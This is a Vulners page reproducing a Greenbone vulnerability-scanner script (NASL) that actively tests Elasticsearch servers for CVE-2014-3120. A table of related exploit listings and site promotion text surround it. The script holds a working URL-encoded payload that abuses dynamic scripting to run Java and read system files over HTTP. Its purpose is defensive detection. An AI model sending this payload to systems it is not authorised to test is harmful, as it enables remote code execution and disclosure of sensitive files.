| Reporter | Title | Published | Views | Family All 48 |
|---|---|---|---|---|
| ElasticSearch Remote Code Execution Exploit | 15 May 201400:00 | – | zdt | |
| ElasticSearch Dynamic Script Arbitrary Java Execution | 1 Jun 201400:00 | – | zdt | |
| Exploit for Improper Access Control in Elasticsearch | 6 Jul 202502:42 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 3 Jun 202110:56 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 3 Sep 202008:57 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 21 Sep 202014:36 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 25 Jan 202102:52 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 18 Oct 202000:49 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 4 Dec 201921:40 | – | gitee | |
| elasticsearch and logstash -- remote OS command execution via dynamic scripting | 22 May 201400:00 | – | freebsd |
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:elastic:elasticsearch";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.105032");
script_version("2026-04-23T06:21:05+0000");
script_tag(name:"last_modification", value:"2026-04-23 06:21:05 +0000 (Thu, 23 Apr 2026)");
script_tag(name:"creation_date", value:"2014-05-22 15:28:00 +0200 (Thu, 22 May 2014)");
script_tag(name:"cvss_base", value:"6.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2026-04-22 14:33:20 +0000 (Wed, 22 Apr 2026)");
script_cve_id("CVE-2014-3120");
script_name("Elastic Elastisearch < 1.2 RCE Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2014 Greenbone AG");
script_dependencies("gb_elastic_elasticsearch_consolidation.nasl", "os_detection.nasl");
script_require_ports("Services/www", 9200);
script_mandatory_keys("elastic/elasticsearch/http/detected");
script_xref(name:"URL", value:"https://bou.ke/blog/elasticsearch-rce/");
script_xref(name:"URL", value:"https://www.elastic.co/blog/found-elasticsearch-security#staying-safe-while-developing-with-elasticsearch");
script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
script_tag(name:"summary", value:"Elastic Elasticsearch is prone to a remote code execution (RCE)
vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"Elastic Elasticsearch has a flaw in its default configuration
which makes it possible for any webpage to execute arbitrary code on visitors with Elasticsearch
installed.");
script_tag(name:"impact", value:"An attacker can exploit this issue to execute arbitrary code.");
script_tag(name:"affected", value:"Elastic Elasticsearch versions prior to 1.2.");
script_tag(name:"solution", value:"Update to version 1.2 or later which disables 'dynamic
scripting' by default. If the system was already updated make sure that this option is kept
disabled.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("traversal_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
if( isnull( port = get_app_port( cpe:CPE, service:"www" ) ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
exit( 0 );
files = traversal_files();
foreach file( keys( files ) ) {
lf = str_replace( string:files[file], find:"\\", replace:"/");
lf = str_replace( string:files[file], find:"/", replace:"%2F");
ex = '%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22' +
'match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22VTTest%22%3A%7B' +
'%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20' +
'Scanner(new%20File(%5C%22%2F' + lf + '%5C%22)).useDelimiter(%5C%22%5C%5C%5C' +
'%5CZ%5C%22).next()%3B%22%7D%7D%7D';
url = "/_search?source=" + ex + "&callback=?";
req = http_get( item:url, port:port);
buf = http_send_recv( port:port, data:req, bodyonly:FALSE );
if( "VTTest" >< buf && egrep( pattern:file, string: buf ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation